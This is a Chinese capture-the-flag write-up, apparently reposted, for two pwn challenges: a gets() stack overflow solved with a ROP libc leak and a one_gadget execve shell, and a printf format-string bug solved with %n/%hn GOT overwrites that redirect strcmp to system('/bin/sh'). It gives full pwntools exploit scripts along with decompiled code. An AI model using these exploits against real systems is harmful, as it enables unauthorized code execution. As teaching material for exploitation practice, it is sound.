本文共 3978 字,大约阅读时间需要 13 分钟。
int __cdecl main(int argc, const char **argv, const char **envp){ char buf[48]; // [rsp+0h] [rbp-30h] BYREF init(); puts("Show me your code :D"); gets(buf, argv); return 0;}
$ checksec pwn1Arch: amd64-64-littleRELRO: Partial RELROStack: No canary foundNX: NX enabledPIE: No PIE (0x400000)
$ one_gadget libc-2.31-dbg.so --near putsGadgets near puts(0x76b10): # puts的偏移0xcbcb1 execve("/bin/sh", r13, r12) # execve的偏移constraints: [r13] == NULL || r13 == NULL [r12] == NULL || r12 == NULL # 0xcbcb4 execve("/bin/sh", r13, rdx) # constraints: [r13] == NULL || r13 == NULL [rdx] == NULL || rdx == NULL # 0xcbcb7 execve("/bin/sh", rsi, rdx) # constraints: [rsi] == NULL || rsi == NULL [rdx] == NULL || rdx == NULL
from pwn import *context(log_level='debug', arch='amd64', os='linux')p = process(["./ld-2.31-dbg.so", "./pwn1"], env={ "LD_PRELOAD": "./libc-2.31-dbg.so" })elf = ELF("./pwn1")puts_got = elf.got['puts']puts_plt = elf.plt['puts']main_addr = 0x4011dbrdi_addr = 0x401283pop_addr = 0x040127cputs_offset = 0x076b10execve_offset = 0xcbcb1payload1 = b'A' * 0x38payload1 += p64(rdi_addr)payload1 += p64(puts_got)payload1 += p64(puts_plt)payload1 += p64(main_addr)p.sendline(payload1)puts_addr = u64(p.recv(6) + b'\x00' * 2)libc_addr = puts_addr - puts_offsetexecve_addr = libc_addr + execve_offsetpayload2 = b'A' * 0x38payload2 += p64(pop_addr)payload2 += p64(0) * 4payload2 += p64(execve_addr)p.sendline(payload2)p.interactive()
int __cdecl main(int argc, const char **argv, const char **envp){ __uid_t v3; // ebx __uid_t v4; // eax int tmp; // [esp+8h] [ebp-74h] BYREF char buf[100]; // [esp+Ch] [ebp-70h] BYREF unsigned int v8; // [esp+70h] [ebp-Ch] int *v9; // [esp+74h] [ebp-8h] BYREF v9 = &argc; v8 = __readgsdword(0x14u); v3 = geteuid(); v4 = geteuid(); setreuid(v4, v3); setvbuf(stdout, 0, 2, 0); setvbuf(stdin, 0, 2, 0); tmp = secret; puts("Show me your password. "); printf("Password: "); fgets(buf, 100, stdin); if (!strcmp(buf, "sec21.\n")) puts("Password OK :)"); else handle_failure(buf); if (tmp != secret) puts("The secret is modified!\n"); return 0;}void __cdecl handle_failure(char *buf){ char msg[100]; // [esp+18h] [ebp-70h] BYREF unsigned int v2; // [esp+7Ch] [ebp-Ch] BYREF v2 = __readgsdword(0x14u); snprintf(msg, 0x64u, "Invalid Password! %s\n", buf); printf(msg);}
%n
、%hn
格式字符串修改secret
的值,并将puts
和printf
的地址泄露。strcmp
的返回地址,使得程序调用system("/bin/sh")
。from pwn import *context(log_level='debug', arch='i386', os='linux')elf = ELF("./pwn2_32")libc = ELF("/usr/lib32/libc-2.31.so")p = elf.process()puts_got = elf.got['puts']printf_got = elf.got['printf']strcmp_got = elf.got['strcmp']main_addr = elf.symbols['main']secret_addr = 0x0804a050ret_addr = main_addr + 139 # ret to fgetspayload1 = b'B' * 2payload1 += p32(secret_addr)payload1 += p32(puts_got + 2)payload1 += p32(puts_got)payload1 += p32(printf_got)payload1 += b'B' * 2payload1 += b"%15$n"payload1 += b'%' + str(int((ret_addr >> 16) - 20 - 18)).encode() + b'x'payload1 += b"%16$hn"payload1 += b'%' + str(int((ret_addr & 0xffff) - (ret_addr >> 16))).encode() + b'x'payload1 += b"J%18$s"p.sendline(payload1)printf_addr = u32(p.recv(4))libc_addr = printf_addr - libc.sym['printf']system_addr = libc_addr + libc.sym['system']payload2 = b'B' * 2payload2 += p32(strcmp_got)payload2 += p32(strcmp_got + 2)payload2 += b'B' * 2payload2 += b"%" + str(int((system_addr & 0xffff) - 12 - 18)).encode() + b"x"payload2 += b"%15$hn"payload2 += b"%" + str(int((system_addr >> 16) - (system_addr & 0xffff))).encode() + b"x"payload2 += b"%16$hn"p.sendline(payload2)p.sendline("/bin/sh")p.interactive()
通过以上详细的分析和步骤,可以成功地利用ROP和Ret2libc技术对目标程序进行攻击,获取控制并获取shell。
转载地址:http://rfhc.baihongyu.com/